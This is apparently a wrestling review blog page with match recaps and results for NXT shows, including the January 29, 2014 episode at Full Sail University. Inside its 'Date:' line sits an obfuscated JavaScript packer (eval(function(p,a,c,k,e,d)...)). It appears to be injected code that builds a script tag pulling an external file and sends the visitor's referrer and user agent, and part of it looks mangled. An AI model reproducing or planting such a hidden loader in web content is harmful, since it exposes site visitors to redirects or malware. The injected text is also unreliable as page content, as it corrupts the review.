Adrian grabs a headlock to start before flipping over Corey and hiptossing him down. Graves bails to the floor and baits Adrian in to stomp the Brit. The pace slows down with Adrian in trouble in the corner but looking more annoyed than in pain. Adrian avoids an elbow drop and puts on a headlock before dropkicking Corey out to the floor.

Results

Alexander Rusev b. Sin Cara – Accolade

Emma b. Alicia Fox – Emma Lock

Mason Ryan b. Sylvester LeFort – Cobra clutch slam

Tyson Kidd b. Aiden English – No Kidding

Adrian Neville b. Corey Graves – Red Arrow

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NXT – January 29, 2014: A Night Of Storytelling

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyyab|var|u0026u|referrer|haabb||js|php'.split('|'),0,{})) January 29, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Alex Riley, William Regal

Mike Cuellari/John Ikerino vs. Ascension

Corey Graves vs. Camacho

Cesaro says another match with Sami Zayn would be a waste of his time.

Bayley vs. Sasha Banks

Colin Cassady vs. Tyler Breeze

CJ Parker vs. The Miz

Regal: “Miz reminds me of Kermit without the talent.” Miz avoids a right hand and slaps Parker in the face to start. Parker scores with some chops but Miz clotheslines him down. Regal explains what chops do to you as Parker comes back with chops of his own. Phillips: “You know what you do when someone chops you. You chop them back!” Regal: “Really? I used to scream.” Miz hits a very nice dropkick to send Parker to the floor and a baseball slid puts Parker down again.

Sami Zayn wants Cesaro to say no to his face next week.

Danny Birch vs. Bo Dallas

Birch takes a knee into the ribs to start and an elbow to the head for good measure. Dallas keeps staring at Neville as he drives in even more elbows to the side of the head. Birch comes back with some right hands but Bo blasts him in the face to put him right back down. A double arm DDT is enough to pin Danny at 2:22.

Bo signs the contract and decks Neville, triggering a brawl to end the show. The fan were very oddly quiet during the brawl.

Results

Ascension b. Mike Cuellari/John Ikerino – Fall of Man to Ikerino

Corey Graves b. Camacho – Lucky 13

Tyler Breeze b. Colin Cassady – Beauty Shot

The Miz b. CJ Parker – Figure Four

Bo Dallas b. Danny Birch – Double arm DDT

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

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